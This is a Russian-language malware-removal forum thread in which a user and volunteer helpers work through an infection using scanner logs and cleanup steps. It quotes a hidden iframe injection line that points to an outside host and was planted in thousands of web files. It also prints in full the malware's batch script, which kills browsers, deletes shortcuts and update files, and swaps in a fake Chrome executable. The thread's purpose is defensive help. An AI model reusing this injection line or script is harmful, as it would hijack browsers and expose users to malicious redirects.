как удалить остатки трояна?

вчера комп поймал трояна. в каждум *.htm и *.php файле на компе была дописана строка
"p
<nofollow><iframe src="http://tsm.25u.com/local.html" width="0" height="0" frameborder="0"></iframe></nofollow>
"
. антивирус нод32 нашел около 30000 таких страниц, но вылечить не смог. удалять эти страницы я не хочу, т.к. они нужны. снес нода, поставил касперского кристал. провел полную проверку системы. касперский нашел и удалил 9 троянове, но он эти страницы как вредоносные не помечает. но при каждом вызове страницы блокирует доступ компа к адресу из конца страницы. как избавиться от последствий? нужны ли вам протоколы авз и HijackThis?

Уважаемый(ая) [B]Олег Морозов[/B], спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

выкладываю файлы
[ATTACH]397514[/ATTACH]
[ATTACH]397515[/ATTACH]
[ATTACH]397516[/ATTACH]

C:\Documents and Settings\User\Главное меню\Программы\Автозагрузка\WCLOCK32.EXE - Ваше?

- [URL="http://virusinfo.info/showthread.php?t=53070"][B]Сделайте лог полного сканирования MBAM[/B][/URL].

C:\Documents and Settings\User\Главное меню\Программы\Автозагрузка\WCLOCK32.EXE да, это моё. это часики. у меня щас делается сканирование малваребайтом. винт на терабайт, поэтому долгая песня. появилась еще одна проблема, смс вымогатель не пускает в интернет, на сайты связанные с безопасностью (касперский, доктор веб, вирусинфо и т.д.). как от него избавиться??? помогите

в автозагрузке ничего подозрительного не нашел.

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

[ATTACH]397908[/ATTACH] вот лог сканирования

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

к сожалению, надпись "ничего не удаляйте не посоветовавшись с хелперами" увиел только после того как удалил малваребайтом найденные объекты. не пинайте сильно

Вы все удалили в MBAM?

не все. там отмечены файлы, относящиеся к навигации, их оставил

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

после 7-ми часов простоя компа изменился файл hosts. чо то бред какой то происходит

- [URL="http://virusinfo.info/showthread.php?t=49691&highlight=RSIT"]Сделайте лог RSIT[/URL]

вот пожалуйста
[ATTACH]398046[/ATTACH]
[ATTACH]398047[/ATTACH]

C:\WINDOWS\tasks\At1.job - удалите.

Больше ничего необычного.

а как быть с блокировкой доступа на сайты, посвященные безопасности? у меня при заходе на них вываливается всплывающее окно, в котором говорят отправить смс.... щас пишу вам с другого компа, т к исходный комп не ходит на этот сайт.
и еще хотелось бы убрать то, о чем писалось в первом сообщении. может есть какой скриптик? чтоб перешерстил все файлы на компе и убрал из них строчки ?
"p
<nofollow><iframe src="http://tsm.25u.com/local.html" width="0" height="0" frameborder="0"></iframe></nofollow>
"
просто на компе стоит фтп сервер, и при открытии консоли управления антивирь ругается, что я пытаюсь пройти по ссылкеtsm.25u.com/local.htm. а она вроде как небезопасна.

я тут давеча смотрел порты открытые и вот что заметил.
[ATTACH=CONFIG]398065[/ATTACH]
насколько я знаю надпись backdoor ничо хорошего не сулит.
что посоветуете?

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

еще нарыл в логах rsit что в виндовской папке появилась папка upd. посмотрел ее содержимое и закрались подозрения что дело нечисто
[ATTACH=CONFIG]398066[/ATTACH]
и с хромом проблемы начались. не запускается. а вместо ярлыка на настоящий хром на рабочем столе появился ярлык на поддельный хром
Файл inj.bat:
[spoiler]
if exist zhopras.cpl (goto second) else goto first
:first
echo nahuy>zhopras.cpl
goto inj

:second
if exist end.txt (goto udl) else goto scht

:udl
del /f /q end.txt
copy /y desktop.dll counter.bat
call counter.bat
goto inj

:scht
call counter.bat
goto exit

:inj
taskkill /f /im iexplore.exe /T
start ie.vbs
if exist "%ProgramFiles%\Opera\Opera.exe" (goto oper) else goto next
:oper
del /f /q /s "C:\Documents and Settings\Opera.lnk"
del /f /q /s "d:\Documents and Settings\Opera.lnk"
del /f /q /s "e:\Documents and Settings\Opera.lnk"
del /f /q /s "f:\Documents and Settings\Opera.lnk"
taskkill /f /im opera.exe /T
start opera.vbs
:next
if exist "%ProgramFiles%\Mozilla Firefox\firefox.exe" (goto ffox) else goto next1
:ffox
del /f /q /s "C:\Documents and Settings\Mozilla Firefox.lnk"
del /f /q /s "d:\Documents and Settings\Mozilla Firefox.lnk"
del /f /q /s "e:\Documents and Settings\Mozilla Firefox.lnk"
del /f /q /s "f:\Documents and Settings\Mozilla Firefox.lnk"
taskkill /f /im firefox.exe /T
start fire.vbs
:next1

taskkill /f /im chrome.exe /T

for /f "tokens=*" %%i in ('dir /a:d /b "%userprofile%\.."') do (copy /y "chrome.exe" "%userprofile%\..\%%i\Local Settings\Application Data\Google\Chrome\Application\chrome.exe")


taskkill /f /im GoogleUpdate.exe
del /f /q /s "C:\Documents and Settings\GoogleUpdate.exe"
del /f /q /s "%ProgramFiles%\Google\GoogleUpdate.exe"
taskkill /f /im GoogleUpdateBroker.exe
del /f /q /s "C:\Documents and Settings\GoogleUpdateBroker.exe"
del /f /q /s "%ProgramFiles%\Google\GoogleUpdateBroker.exe"
taskkill /f /im GoogleUpdateHelper.msi
del /f /q /s "C:\Documents and Settings\GoogleUpdateHelper.msi"
del /f /q /s "%ProgramFiles%\Google\GoogleUpdateHelper.msi"
taskkill /f /im GoogleUpdateOnDemand.exe
del /f /q /s "C:\Documents and Settings\GoogleUpdateOnDemand.exe"
del /f /q /s "%ProgramFiles%\Google\GoogleUpdateOnDemand.exe"
taskkill /f /im GoogleUpdateSetup.exe
del /f /q /s "C:\Documents and Settings\GoogleUpdateSetup.exe"
del /f /q /s "%ProgramFiles%\Google\GoogleUpdateSetup.exe"

if exist "%ProgramFiles%\Google\Chrome\Application\chrome.exe" (goto chrom) else goto next2
:chrom
del /f /q /s "C:\Documents and Settings\Google Chrome.lnk"
del /f /q /s "d:\Documents and Settings\Google Chrome.lnk"
del /f /q /s "e:\Documents and Settings\Google Chrome.lnk"
del /f /q /s "f:\Documents and Settings\Google Chrome.lnk"
taskkill /f /im chrome.exe /T
start chrome.vbs

:next2
if exist "%ProgramFiles%\Safari\Safari.EXE" (goto safar) else goto next3

:safar
del /f /q /s "C:\Documents and Settings\Safari.lnk"
del /f /q /s "d:\Documents and Settings\Safari.lnk"
del /f /q /s "e:\Documents and Settings\Safari.lnk"
del /f /q /s "f:\Documents and Settings\Safari.lnk"
taskkill /f /im safari.exe
start safari.vbs
:next3





:exit
[/spoiler]

ie.vbs - а такие файлы есть?

- [URL="http://virusinfo.info/showthread.php?t=58309"]Сделайте лог ComboFix[/URL].

ie.vbs таких файлов не нашел

лог комбофикса [ATTACH]398173[/ATTACH]

Изменения есть?

192.168.0.1 - роутер? Проверяйте настройки на предмет вредоносных DNS?

ну в общем и целом пока все логи делал, сам же их и читал. местами замечал всякие подозрительности. чо то сам удалил, чо то программы удалили. осталось поправить все мои *.htm файлы, чтоб ту самую ссылку из них удалить. подскажите отимальный вариант исправления файлов? может скрипт какой подскажете или программу?

192,168,0,1 это роутер

а где копать насчет подозрительных днс? в настройках роутера?

[quote="Олег Морозов;960402"]а где копать насчет подозрительных днс? в настройках роутера?[/quote]
Да.

- [URL="http://virusinfo.info/showthread.php?t=58309&p=500136&viewfull=1#post500136"]Удалите ComboFix.[/URL]

в настройках роутера только 1 dns нашел - тот который мне выдал провайдер (dns сервер)

В логах больше ничего необычного.